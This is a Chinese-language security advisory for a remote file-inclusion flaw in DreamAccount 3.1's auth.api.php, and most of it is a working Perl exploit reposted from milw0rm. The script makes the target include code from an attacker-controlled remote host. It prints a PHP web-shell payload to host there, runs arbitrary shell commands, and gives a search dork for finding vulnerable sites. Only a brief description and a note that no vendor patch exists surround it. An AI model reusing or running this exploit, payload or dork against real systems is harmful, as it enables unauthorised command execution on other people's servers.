发布日期：2006-06-26
更新日期：2006-06-26

受影响系统：

Dreamcost LLC DreamAccount 3.1

描述：

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BUGTRAQ  ID: 18636

DreamAccount是一款基于PHP的成员管理程序。

DreamAccount实现上存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。

DreamAccount的auth.api.php脚本没有对path变量做充分地检查过滤，远程攻击者可能利用此漏洞使脚本包含远程服务器上的代码执行。

<*来源：CrAsh_oVeR_rIdE （KARKOR23@hotmail.com）
  *>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/perl
use HTTP::Request;
use LWP::UserAgent;
# ----------------------------------------------------
# DREAMACCOUNT V3.1 Remote Command Execution Exploit    
# ----------------------------------------------------
# Discovered By CrAsh_oVeR_rIdE(Arabian Security Team)
# Coded By Drago84(Exclusive Security Team)          
# ----------------------------------------------------
# site of script:http://dreamcost.com                
# ----------------------------------------------------
# Vulnerable: DREAMACCOUNT V3.1                      
# ----------------------------------------------------
# vulnerable file :                                    
# ------------------                                  
# auth.api.php                                    
# ----------------------------------------------------
# vulnerable code:                                    
# ----------------------------------------------------
# require_once($path . 'mod_htaccess.inc.php');   // 0
# require_once($path . 'mod_pmachine.inc.php');   // 4
# require_once($path . 'mod_vbulletin.inc.php');  // 5
# require_once($path . 'mod_phpbb.inc.php');      // 6
# require_once($path . 'mod_postnuke.inc.php');   // 7
# require_once($path . 'mod_phpnuke.inc.php');    // 8
# require_once($path . 'mod_freeradius.inc.php'); // 9
# require_once($path . 'mod_ldap.inc.php');       // 10
# require_once($path . 'mod_invboard.inc.php');   // 11
# require_once($path . 'mod_yabbse.inc.php');     // 12
# require_once($path . 'mod_mambo.inc.php');      // 13
# require_once($path . 'mod_xaraya.inc.php');     // 14
# require_once($path . 'mod_geeklog.inc.php');    // 15
#  
# $path parameter File inclusion                      
# ----------------------------------------------------
# Exploit:
# ---------
print "\n=============================================================================\r\n";
print " * Dreamaccount Remote Command Execution  23/06/06 *\r\n";  
print "=============================================================================\r\n";
print "[*] dork:\"powered by DreamAccount 3.1\"\n";
print "[*] Coded By : Drago84 \n";
print "[*] Discovered by CrAsH_oVeR_rIdE\n";
print "[*] Use <site> <dir_Dream> <eval site> <cmd>\n";
print " Into the Eval Site it must be:\n\n";
print " Exclusive <?php  passthru($_GET[cmd]); ?> /Exclusive";

if (@ARGV < 4)
{
print "\n\n[*] usage: perl dream.pl <site> <dir dream> <eval site> <cmd>\n";
print "[*] usage: perl dream.pl www.HosT.com /dreamaccount/ http://www.site.org/doc.jpg id\n";
print "[*] uid=90(nobody) gid=90(nobody) egid=90(nobody) \n";
exit();
}
my $dir=$ARGV[1];
my $host=$ARGV[0];
my $eval=$ARGV[2];
my $cmd=$ARGV[3];
my $url2=$host.$dir."auth.api.php?path=".$eval."?&cmd=".$cmd;
print "\n";
my $req=HTTP::Request->new(GET=>$url2);
my $ua=LWP::UserAgent->new();
$ua->timeout(10);
my $response=$ua->request($req);
if ($response->is_success) {
print "\n\nResult of:".$cmd."\n";
my ($pezzo_utile) = ( $response->content =~ m{Exclusive(.+)\/Exclusive}smx );
printf $1;
$response->content;
print "\n";

}

# ----------------------------------------------------------------------------------------------------
# Discovered By CrAsh_oVeR_rIdE
# Coded By  Drago84
# E-mail:KARKOR23@hotmail.com
# Site:www.lezr.com
# Greetz:KING-HACKER,YOUNG_HACKER,SIMO,ROOT-HACKED,SAUDI,QPTAN,POWERWALL,SNIPER_SA,Black-Code,ALMOKAN3,Mr.hcR AND ALL LEZR.COM Member

# milw0rm.com [2006-06-25]

建议：

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厂商补丁：

Dreamcost LLC
-------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://dreamcost.com/

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